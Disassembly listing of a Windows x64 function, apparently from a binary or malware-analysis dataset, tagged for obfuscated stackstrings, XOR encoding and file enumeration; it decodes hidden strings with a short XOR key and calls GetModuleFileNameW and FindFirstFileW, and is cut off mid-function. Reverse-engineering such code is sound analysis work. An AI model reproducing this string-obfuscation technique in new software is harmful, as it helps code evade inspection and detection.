Function at 0x1400117c0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Enumerate files on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xe0]
sub rsp, 0x1e0
mov rax, qword gs:[0x58]
lea rsi, str.sZrrA
xor r14d, r14d
mov ebx, 4
mov r12, rcx
mov dword [rbp + 0x110], r14d
mov r13d, r14d
mov r15, 0xffffffffffffffff
mov rax, qword [rax]
mov eax, dword [rbx + rax]
cmp dword [0x14005f410], eax
jle 0x14001191e
lea rcx, [0x14005f410]
call fcn.14001da38
cmp dword [0x14005f410], r15d
jne 0x14001191e
xorps xmm0, xmm0
mov dword [rsp + 0x50], 0x44417443
xor eax, eax
mov word [rsp + 0x54], 0x3c71
movups xmmword [rsp + 0x56], xmm0
mov word [rsp + 0x66], ax
mov edx, r14d
mov ecx, r14d
nop dword [rax]
cdqe
movsxd rcx, ecx
movzx eax, byte [rax + rsi]
xor byte [rsp + rcx + 0x50], al
lea eax, [rdx + 1]
mov edx, eax
mov ecx, eax
cmp eax, 6
jb 0x140011860
xorps xmm0, xmm0
mov dword [0x14005f388], eax
xorps xmm1, xmm1
mov byte [rsp + 0x56], r13b
movups xmmword [rsp + 0x30], xmm0
lea rax, [rsp + 0x50]
mov r8, r15
movdqu xmmword [rsp + 0x40], xmm1
nop dword [rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x1400118a0
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.14001b810
cmp qword [rsp + 0x48], 0xf
lea rcx, [rsp + 0x30]
cmova rcx, qword [rsp + 0x30]
call fcn.1400291d8
mov rdx, qword [rsp + 0x48]
mov qword [0x14005f408], rax
cmp rdx, 0xf
jbe 0x140011912
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001190d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013391
call fcn.14001dd34
lea rcx, [0x14005f410]
call fcn.14001d9cc
mov rax, qword gs:[0x58]
mov qword [rsp + 0x218], rdi
mov rcx, qword [rax]
mov eax, dword [rbx + rcx]
cmp dword [0x14005f4e0], eax
jle 0x14001196a
lea rcx, [0x14005f4e0]
call fcn.14001da38
cmp dword [0x14005f4e0], r15d
jne 0x14001196a
lea rcx, [0x1400448c0]
call fcn.14001dd14
lea rcx, [0x14005f4e0]
call fcn.14001d9cc
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rbx + rcx]
cmp dword [0x14005f48c], eax
jle 0x1400119ae
lea rcx, [0x14005f48c]
call fcn.14001da38
cmp dword [0x14005f48c], r15d
jne 0x1400119ae
lea rcx, [0x140044850]
call fcn.14001dd14
lea rcx, [0x14005f48c]
call fcn.14001d9cc
xorps xmm0, xmm0
mov dword [rsp + 0x50], 0x405c6a42
xor eax, eax
mov dword [rsp + 0x54], 0x5f263773
movups xmmword [rsp + 0x5b], xmm0
mov word [rsp + 0x7b], ax
mov edx, r14d
movups xmmword [rsp + 0x6b], xmm0
mov word [rsp + 0x58], 0x433c
mov ecx, r14d
mov byte [rsp + 0x5a], 0x2c
nop dword [rax]
nop dword [rax + rax]
cdqe
movsxd rcx, ecx
movzx eax, byte [rax + rsi]
xor byte [rsp + rcx + 0x50], al
lea eax, [rdx + 1]
mov edx, eax
mov ecx, eax
cmp eax, 0xb
jb 0x1400119f0
xorps xmm0, xmm0
mov dword [0x14005f384], eax
xorps xmm1, xmm1
mov byte [rsp + 0x5b], r13b
movups xmmword [rbp - 0x38], xmm0
lea rax, [rsp + 0x50]
mov r8, r15
movdqu xmmword [rbp - 0x28], xmm1
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x140011a30
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x38]
call fcn.14001b810
cmp qword [rbp - 0x20], 0xf
lea rcx, [rbp - 0x38]
cmova rcx, qword [rbp - 0x38]
call fcn.14002cf8c
cvttsd2si edi, xmm0
mov dword [rsp + 0x50], 0x44417443
xor eax, eax
mov word [rsp + 0x54], 0x3c71
mov edx, r14d
mov word [rsp + 0x66], ax
mov ecx, r14d
xorps xmm0, xmm0
movups xmmword [rsp + 0x56], xmm0
nop dword [rax]
nop word [rax + rax]
cdqe
movsxd rcx, ecx
movzx eax, byte [rax + rsi]
xor byte [rsp + rcx + 0x50], al
lea eax, [rdx + 1]
mov edx, eax
mov ecx, eax
cmp eax, 6
jb 0x140011a90
xorps xmm0, xmm0
mov dword [0x14005f388], eax
xorps xmm1, xmm1
mov byte [rsp + 0x56], r13b
movups xmmword [rsp + 0x30], xmm0
lea rax, [rsp + 0x50]
mov r8, r15
movdqu xmmword [rsp + 0x40], xmm1
nop dword [rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x140011ad0
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.14001b810
cmp qword [rsp + 0x48], 0xf
lea rcx, [rsp + 0x30]
cmova rcx, qword [rsp + 0x30]
call fcn.1400291d8
xorps xmm0, xmm0
mov dword [rsp + 0x50], 0x45466a41
mov rbx, rax
mov dword [rsp + 0x54], 0x53203d6f
xor eax, eax
mov dword [rsp + 0x58], 0x67762c3b
mov qword [rbp - 0x64], rax
mov edx, r14d
mov dword [rbp - 0x5c], eax
mov ecx, r14d
movups xmmword [rsp + 0x5c], xmm0
movups xmmword [rsp + 0x6c], xmm0
movups xmmword [rsp + 0x7c], xmm0
movups xmmword [rbp - 0x74], xmm0
nop
cdqe
movsxd rcx, ecx
movzx eax, byte [rax + rsi]
xor byte [rsp + rcx + 0x50], al
lea eax, [rdx + 1]
mov edx, eax
mov ecx, eax
cmp eax, 0xc
jb 0x140011b40
xorps xmm0, xmm0
mov dword [0x14005e334], eax
xorps xmm1, xmm1
mov byte [rsp + 0x5c], r13b
movups xmmword [rbp + 8], xmm0
lea rax, [rsp + 0x50]
mov r8, r15
movdqu xmmword [rbp + 0x18], xmm1
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x140011b80
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 8]
call fcn.14001b810
cmp qword [rbp + 0x20], 0xf
lea rcx, [rbp + 8]
mov r8d, edi
mov rdx, rbx
cmova rcx, qword [rbp + 8]
call fcn.140028c3c
mov rsi, rax
mov dword [rsp + 0x50], 0x44417443
xor eax, eax
mov word [rsp + 0x54], 0x3c71
xorps xmm0, xmm0
mov word [rsp + 0x66], ax
movups xmmword [rsp + 0x56], xmm0
mov edx, r14d
lea rbx, str.sZrrA
mov r8d, r14d
mov ecx, r14d
movsxd rax, edx
lea edx, [r8 + 1]
movsxd rcx, ecx
mov r8d, edx
movzx eax, byte [rax + rbx]
xor byte [rsp + rcx + 0x50], al
mov ecx, edx
cmp edx, 6
jb 0x140011be1
xorps xmm0, xmm0
mov dword [0x14005f388], edx
xorps xmm1, xmm1
mov byte [rsp + 0x56], r13b
movups xmmword [rbp + 0x28], xmm0
lea rax, [rsp + 0x50]
mov r8, r15
movdqu xmmword [rbp + 0x38], xmm1
nop
inc r8
cmp byte [rax + r8], r13b
jne 0x140011c20
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x28]
call fcn.14001b810
cmp qword [rbp + 0x40], 0xf
lea rcx, [rbp + 0x28]
cmova rcx, qword [rbp + 0x28]
call fcn.1400291d8
xorps xmm0, xmm0
mov word [rsp + 0x50], 0x7442
mov rdi, rax
mov byte [rsp + 0x52], 0x47
xor eax, eax
mov edx, r14d
mov word [rbp - 0x3d], ax
mov r8d, r14d
movups xmmword [rsp + 0x53], xmm0
movups xmmword [rsp + 0x63], xmm0
movups xmmword [rsp + 0x73], xmm0
movups xmmword [rbp - 0x7d], xmm0
movups xmmword [rbp - 0x6d], xmm0
movups xmmword [rbp - 0x5d], xmm0
movups xmmword [rbp - 0x4d], xmm0
nop word [rax + rax]
movsxd rcx, eax
movsxd rax, edx
lea edx, [r8 + 1]
mov r8d, edx
movzx eax, byte [rax + rbx]
xor byte [rsp + rcx + 0x50], al
mov eax, edx
cmp edx, 3
jb 0x140011c90
xorps xmm0, xmm0
mov dword [0x14005e350], edx
xorps xmm1, xmm1
mov byte [rsp + 0x53], r13b
movups xmmword [rbp - 0x18], xmm0
lea rax, [rsp + 0x50]
mov r8, r15
movdqu xmmword [rbp - 8], xmm1
nop
inc r8
cmp byte [rax + r8], r13b
jne 0x140011cd0
lea rdx, [rsp + 0x50]
movaps xmmword [rsp + 0x1c0], xmm7
lea rcx, [rbp - 0x18]
call fcn.14001b810
cmp qword [rbp], 0xf
lea rbx, [rbp - 0x18]
mov r8d, esi
lea rdx, [0x14005a860]
cmova rbx, qword [rbp - 0x18]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rcx, rbx
mov edi, eax
call fcn.14002cf8c
mov rdx, qword [rbp]
cvttsd2si ebx, xmm0
cmp rdx, 0xf
jbe 0x140011d59
mov rcx, qword [rbp - 0x18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011d54
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013397
call fcn.14001dd34
mov rdx, qword [rbp + 0x40]
movdqa xmm7, xmmword [0x140050c90]
mov byte [rbp - 0x18], r13b
movdqu xmmword [rbp - 8], xmm7
cmp rdx, 0xf
jbe 0x140011da5
mov rcx, qword [rbp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011da0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013397
call fcn.14001dd34
mov rdx, qword [rbp + 0x20]
mov byte [rbp + 0x28], r13b
movdqu xmmword [rbp + 0x38], xmm7
cmp rdx, 0xf
jbe 0x140011de9
mov rcx, qword [rbp + 8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011de4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013397
call fcn.14001dd34
mov rdx, qword [rsp + 0x48]
mov byte [rbp + 8], r13b
movdqu xmmword [rbp + 0x18], xmm7
cmp rdx, 0xf
jbe 0x140011e2f
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011e2a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013397
call fcn.14001dd34
mov rdx, qword [rbp - 0x20]
mov byte [rsp + 0x30], r13b
movdqu xmmword [rsp + 0x40], xmm7
cmp rdx, 0xf
jbe 0x140011e75
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011e70
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013397
call fcn.14001dd34
xor eax, eax
xorps xmm0, xmm0
mov edx, r14d
mov ecx, r14d
cmp edi, ebx
jae 0x140011fbc
mov dword [rsp + 0x50], 0x41437443
lea r8, str.sZrrA
mov dword [rsp + 0x54], 0x50233b72
mov byte [rsp + 0x58], 0x78
movups xmmword [rsp + 0x59], xmm0
mov dword [rsp + 0x69], eax
mov byte [rsp + 0x6d], al
cdqe
movsxd rcx, ecx
movzx eax, byte [rax + r8]
xor byte [rsp + rcx + 0x50], al
lea eax, [rdx + 1]
mov edx, eax
mov ecx, eax
cmp eax, 9
jb 0x140011eb1
xorps xmm0, xmm0
mov dword [0x14005eb78], eax
xorps xmm1, xmm1
mov byte [rsp + 0x59], r13b
movups xmmword [rsp + 0x30], xmm0
lea rax, [rsp + 0x50]
movdqu xmmword [rsp + 0x40], xmm1
nop dword [rax]
inc r15
cmp byte [rax + r15], r13b
jne 0x140011ef0
mov r8, r15
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.14001b810
cmp qword [rsp + 0x48], 0xf
lea rcx, [rsp + 0x30]
cmova rcx, qword [rsp + 0x30]
call fcn.14002cf8c
mov rdx, qword [rsp + 0x48]
cvttsd2si eax, xmm0
test eax, eax
setne bl
cmp rdx, 0xf
jbe 0x140011f67
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011f62
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001339d
call fcn.14001dd34
mov rdx, qword [r12 + 0x18]
mov byte [rsp + 0x30], r13b
movdqu xmmword [rsp + 0x40], xmm7
cmp rdx, 7
jbe 0x140013336
mov rcx, qword [r12]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140011fb2
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001339d
mov rcx, r8
call fcn.14001dd34
jmp 0x140013336
mov word [rsp + 0x50], 0x7442
lea rdi, str.sZrrA
mov byte [rsp + 0x52], 0x47
movups xmmword [rsp + 0x53], xmm0
mov word [rbp - 0x3d], ax
movups xmmword [rsp + 0x63], xmm0
movups xmmword [rsp + 0x73], xmm0
movups xmmword [rbp - 0x7d], xmm0
movups xmmword [rbp - 0x6d], xmm0
movups xmmword [rbp - 0x5d], xmm0
movups xmmword [rbp - 0x4d], xmm0
nop dword [rax]
nop word [rax + rax]
cdqe
movsxd rcx, ecx
movzx eax, byte [rax + rdi]
xor byte [rsp + rcx + 0x50], al
lea eax, [rdx + 1]
mov edx, eax
mov ecx, eax
cmp eax, 3
jb 0x140012000
xorps xmm0, xmm0
mov dword [0x14005e350], eax
xorps xmm1, xmm1
mov byte [rsp + 0x53], r13b
movups xmmword [rbp - 0x38], xmm0
lea rax, [rsp + 0x50]
mov r8, r15
movdqu xmmword [rbp - 0x28], xmm1
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x140012040
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x38]
call fcn.14001b810
cmp qword [rbp - 0x20], 0xf
lea rcx, [rbp - 0x38]
cmova rcx, qword [rbp - 0x38]
call fcn.14002cf8c
cvttsd2si eax, xmm0
lea rdx, [0x14005a860]
lea rcx, [rbp + 8]
test eax, eax
setne bl
call fcn.140018f90
movzx r8d, bl
lea rcx, [rsp + 0x30]
mov rdx, rax
call fcn.14000a2d0
lea r14, [0x140056d20]
mov rbx, rax
cmp r14, rax
je 0x14001212e
mov rdx, qword [reloc.OLEAUT32.dll_VariantInit]
cmp rdx, 7
jbe 0x1400120ed
mov rcx, qword [0x140056d20]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400120e8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400133a3
call fcn.14001dd34
mov qword [reloc.OLEAUT32.dll_VariantInit], 7
xor esi, esi
mov qword [0x140056d30], rsi
mov word [0x140056d20], si
movups xmm0, xmmword [rbx]
movups xmmword [0x140056d20], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x140056d30], xmm1
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 7
mov word [rbx], si
jmp 0x140012130
xor esi, esi
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x140012172
mov rcx, qword [rsp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001216d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400133a3
call fcn.14001dd34
mov rdx, qword [rbp - 0x20]
movdqa xmm0, xmmword [0x140050c80]
mov word [rsp + 0x30], si
movdqu xmmword [rsp + 0x40], xmm0
cmp rdx, 0xf
jbe 0x1400121c0
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400121bb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400133a3
call fcn.14001dd34
xorps xmm0, xmm0
mov word [rsp + 0x50], 0x7442
xor eax, eax
mov byte [rsp + 0x52], 0x47
mov word [rbp - 0x3d], ax
mov edx, esi
mov eax, esi
mov ecx, esi
movups xmmword [rsp + 0x53], xmm0
movups xmmword [rsp + 0x63], xmm0
movups xmmword [rsp + 0x73], xmm0
movups xmmword [rbp - 0x7d], xmm0
movups xmmword [rbp - 0x6d], xmm0
movups xmmword [rbp - 0x5d], xmm0
movups xmmword [rbp - 0x4d], xmm0
nop word [rax + rax]
cdqe
movsxd rcx, ecx
movzx eax, byte [rax + rdi]
xor byte [rsp + rcx + 0x50], al
lea eax, [rdx + 1]
mov edx, eax
mov ecx, eax
cmp eax, 3
jb 0x140012200
xorps xmm0, xmm0
mov dword [0x14005e350], eax
xorps xmm1, xmm1
mov byte [rsp + 0x53], r13b
movups xmmword [rbp - 0x38], xmm0
lea rax, [rsp + 0x50]
mov r8, r15
movdqu xmmword [rbp - 0x28], xmm1
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x140012240
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x38]
call fcn.14001b810
cmp qword [rbp - 0x20], 0xf
lea rcx, [rbp - 0x38]
cmova rcx, qword [rbp - 0x38]
cmp qword [0x140056d30], r13
sete bl
call fcn.14002cf8c
mov rdx, qword [rbp - 0x20]
cvttsd2si eax, xmm0
test eax, eax
sete dil
cmp rdx, 0xf
jbe 0x1400122b9
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400122b4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400133a9
call fcn.14001dd34
xor eax, eax
lea r8, str.sZrrA
xorps xmm0, xmm0
mov edx, esi
mov ecx, esi
cmp bl, dil
je 0x14001241b
mov dword [rsp + 0x69], eax
mov byte [rsp + 0x6d], al
mov eax, esi
mov dword [rsp + 0x50], 0x41437443
mov dword [rsp + 0x54], 0x50233b72
mov byte [rsp + 0x58], 0x78
movups xmmword [rsp + 0x59], xmm0
nop word [rax + rax]
cdqe
movsxd rcx, ecx
movzx eax, byte [rax + r8]
xor byte [rsp + rcx + 0x50], al
lea eax, [rdx + 1]
mov edx, eax
mov ecx, eax
cmp eax, 9
jb 0x140012300
xorps xmm0, xmm0
mov dword [0x14005eb78], eax
xorps xmm1, xmm1
mov byte [rsp + 0x59], r13b
movups xmmword [rsp + 0x30], xmm0
lea rax, [rsp + 0x50]
movdqu xmmword [rsp + 0x40], xmm1
nop dword [rax + rax]
inc r15
cmp byte [rax + r15], r13b
jne 0x140012340
mov r8, r15
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.14001b810
cmp qword [rsp + 0x48], 0xf
lea rcx, [rsp + 0x30]
cmova rcx, qword [rsp + 0x30]
call fcn.14002cf8c
mov rdx, qword [rsp + 0x48]
cvttsd2si eax, xmm0
test eax, eax
setne bl
cmp rdx, 0xf
jbe 0x1400123b7
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400123b2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400133af
call fcn.14001dd34
mov rdx, qword [r12 + 0x18]
mov byte [rsp + 0x30], r13b
movdqu xmmword [rsp + 0x40], xmm7
cmp rdx, 7
jbe 0x140012403
mov rcx, qword [r12]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x1400123fe
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400133af
mov rcx, r8
call fcn.14001dd34
mov qword [r12 + 0x10], rsi
mov qword [r12 + 0x18], 7
mov word [r12], si
jmp 0x140013349
mov word [rbp - 0x3d], ax
mov eax, esi
mov word [rsp + 0x50], 0x7459
mov byte [rsp + 0x52], 0x58
movups xmmword [rsp + 0x53], xmm0
movups xmmword [rsp + 0x63], xmm0
movups xmmword [rsp + 0x73], xmm0
movups xmmword [rbp - 0x7d], xmm0
movups xmmword [rbp - 0x6d], xmm0
movups xmmword [rbp - 0x5d], xmm0
movups xmmword [rbp - 0x4d], xmm0
nop dword [rax]
cdqe
movsxd rcx, ecx
movzx eax, byte [rax + r8]
xor byte [rsp + rcx + 0x50], al
lea eax, [rdx + 1]
mov edx, eax
mov ecx, eax
cmp eax, 3
jb 0x140012450
xorps xmm0, xmm0
mov dword [0x14005e350], eax
xorps xmm1, xmm1
mov byte [rsp + 0x53], r13b
movups xmmword [rbp - 0x38], xmm0
lea rax, [rsp + 0x50]
mov r8, r15
movdqu xmmword [rbp - 0x28], xmm1
nop dword [rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x140012490
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x38]
call fcn.14001b810
cmp qword [rbp - 0x20], 0xf
lea rdx, [rbp - 0x38]
xorps xmm0, xmm0
xorps xmm1, xmm1
cmova rdx, qword [rbp - 0x38]
mov r8, r15
movups xmmword [rbp + 8], xmm0
movdqu xmmword [rbp + 0x18], xmm1
inc r8
cmp byte [rdx + r8], r13b
jne 0x1400124c7
lea rcx, [rbp + 8]
call fcn.14001b810
lea rdx, [rbp + 8]
lea rcx, [rsp + 0x30]
call fcn.1400017c0
mov r9, rax
cmp qword [rax + 0x18], 7
mov rdi, qword [rax + 0x10]
jbe 0x1400124f8
mov r9, qword [rax]
mov rcx, qword [reloc.OLEAUT32.dll_VariantInit]
mov rsi, qword [0x140056d30]
mov rax, rcx
sub rax, rsi
cmp rdi, rax
ja 0x140012547
cmp rcx, 7
lea rax, [rsi + rdi]
mov rbx, r14
mov qword [0x140056d30], rax
cmova rbx, qword [0x140056d20]
lea r8, [rdi + rdi]
mov rdx, r9
lea rcx, [rbx + rsi*2]
call fcn.140042d90
lea rax, [rsi + rdi]
xor edi, edi
mov word [rbx + rax*2], di
jmp 0x140012561
movzx r8d, byte [rbp + 0x110]
mov rdx, rdi
mov rcx, r14
mov qword [rsp + 0x20], rdi
call fcn.14001b4e0
xor edi, edi
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x1400125a3
mov rcx, qword [rsp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001259e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400133b5
call fcn.14001dd34
mov rdx, qword [rbp - 0x20]
movdqa xmm0, xmmword [0x140050c80]
mov word [rsp + 0x30], di
movdqu xmmword [rsp + 0x40], xmm0
cmp rdx, 0xf
jbe 0x1400125f1
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400125ec
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400133b5
call fcn.14001dd34
cmp qword [reloc.OLEAUT32.dll_VariantInit], 7
lea rdx, [0x14005d880]
movaps xmmword [rsp + 0x1d0], xmm6
cmova r14, qword [0x140056d20]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
movdqa xmm6, xmmword [0x140050c60]
lea rsi, str.sZrrA
xor r14d, r14d
mov qword [0x14005f408], rax
mov eax, r14d
mov word [rsp + 0x50], 0x6b5e
mov edx, r14d
mov byte [rsp + 0x52], 0x5c
mov ecx, r14d
movdqu xmmword [rsp + 0x53], xmm6
nop dword [rax]
cdqe
movsxd rcx, ecx
movzx eax, byte [rsp + rax + 0x50]
xor al, byte [rcx + rsi]
mov byte [rsp + rcx + 0x50], al
lea eax, [rdx + 1]
mov edx, eax
mov ecx, eax
cmp eax, 5
jb 0x140012650
xorps xmm0, xmm0
mov dword [0x14005e31c], eax
xorps xmm1, xmm1
mov byte [rsp + 0x55], r13b
movups xmmword [rbp - 0x38], xmm0
lea rax, [rsp + 0x50]
mov r8, r15
movdqu xmmword [rbp - 0x28], xmm1
nop
inc r8
cmp byte [rax + r8], r13b
jne 0x140012690
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x38]
call fcn.14001b810
cmp qword [rbp - 0x20], 0xf
lea rcx, [rbp - 0x38]
cmova rcx, qword [rbp - 0x38]
call fcn.1400291d8
cmp qword [0x14005f408], rax
mov rdx, qword [rbp - 0x20]
sete bl
cmp rdx, 0xf
jbe 0x1400126ff
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400126fa
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400133bb
call fcn.14001dd34
test bl, bl
je 0x140012848
xor eax, eax
mov dword [rsp + 0x50], 0x41437443
xorps xmm0, xmm0
mov dword [rsp + 0x69], eax
movups xmmword [rsp + 0x59], xmm0
mov byte [rsp + 0x6d], al
mov edx, r14d
mov dword [rsp + 0x54], 0x50233b72
mov ecx, r14d
mov byte [rsp + 0x58], 0x78
nop dword [rax]
nop dword [rax + rax]
cdqe
movsxd rcx, ecx
movzx eax, byte [rsp + rax + 0x50]
xor al, byte [rcx + rsi]
mov byte [rsp + rcx + 0x50], al
lea eax, [rdx + 1]
mov edx, eax
mov ecx, eax
cmp eax, 9
jb 0x140012740
xorps xmm0, xmm0
mov dword [0x14005eb78], eax
xorps xmm1, xmm1
mov byte [rsp + 0x59], r13b
movups xmmword [rsp + 0x30], xmm0
lea rax, [rsp + 0x50]
movdqu xmmword [rsp + 0x40], xmm1
nop
inc r15
cmp byte [rax + r15], r13b
jne 0x140012780
mov r8, r15
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.14001b810
cmp qword [rsp + 0x48], 0xf
lea rcx, [rsp + 0x30]
cmova rcx, qword [rsp + 0x30]
call fcn.14002cf8c
mov rdx, qword [rsp + 0x48]
cvttsd2si eax, xmm0
test eax, eax
setne bl
cmp rdx, 0xf
jbe 0x1400127f7
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400127f2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001337f
call fcn.14001dd34
mov rdx, qword [r12 + 0x18]
mov byte [rsp + 0x30], r13b
movdqu xmmword [rsp + 0x40], xmm7
cmp rdx, 7
jbe 0x14001332e
mov rcx, qword [r12]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140013329
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001337f
jmp 0x140013326
mov rcx, qword [r12 + 0x10]
test rcx, rcx
je 0x140012895
cmp qword [r12 + 0x18], 7
jbe 0x140012867
mov rsi, qword [r12]
mov rdi, rsi
lea rbx, [rsi + rcx*2]
jmp 0x140012871
lea rbx, [r12 + rcx*2]
mov rdi, r12
mov rsi, r12
cmp rdi, rbx
je 0x140012895
sub rsi, rdi
nop dword [rax]
movzx ecx, word [rdi]
call fcn.14002d864
mov word [rdi + rsi], ax
add rdi, 2
cmp rdi, rbx
jne 0x140012880
lea rdi, [0x140056d60]
mov rdx, r15
lea rcx, [0x14005d8ac]
inc rdx
cmp word [rcx + rdx*2], r14w
jne 0x1400128a6
mov rax, qword [reloc.OLEAUT32.dll_VariantInit]
cmp rdx, rax
ja 0x1400128ef
lea rbx, [rdx + rdx]
mov qword [0x140056d70], rdx
cmp rax, 7
mov rdx, rcx
mov r8, rbx
cmova rdi, qword [0x140056d60]
mov rcx, rdi
call fcn.140042d90
mov word [rbx + rdi], r14w
lea rdi, [0x140056d60]
jmp 0x1400128fa
mov r9, rcx
mov rcx, rdi
call fcn.14001b380
mov r8, qword [0x140056d70]
test r8, r8
je 0x140012948
cmp qword [reloc.OLEAUT32.dll_VariantInit], 7
mov rax, rdi
mov rdx, qword [0x140056d60]
mov rsi, rdi
cmova rax, rdx
cmova rdi, rdx
cmova rsi, rdx
lea rbx, [rax + r8*2]
cmp rdi, rbx
je 0x140012948
sub rsi, rdi
movzx ecx, word [rdi]
call fcn.14002d864
mov word [rsi + rdi], ax
add rdi, 2
cmp rdi, rbx
jne 0x140012933
xorps xmm0, xmm0
mov word [rsp + 0x50], 0x7442
xor eax, eax
mov byte [rsp + 0x52], 0x47
cmp qword [r12 + 0x18], 7
mov rbx, r12
movups xmmword [rsp + 0x53], xmm0
mov word [rbp - 0x3d], ax
movups xmmword [rsp + 0x63], xmm0
movups xmmword [rsp + 0x73], xmm0
movups xmmword [rbp - 0x7d], xmm0
movups xmmword [rbp - 0x6d], xmm0
movups xmmword [rbp - 0x5d], xmm0
movups xmmword [rbp - 0x4d], xmm0
jbe 0x14001298b
mov rbx, qword [r12]
mov rdi, qword [r12 + 0x10]
lea r8, str.sZrrA
mov edx, r14d
mov ecx, r14d
nop dword [rax]
cdqe
movsxd rcx, ecx
movzx eax, byte [rsp + rax + 0x50]
xor al, byte [rcx + r8]
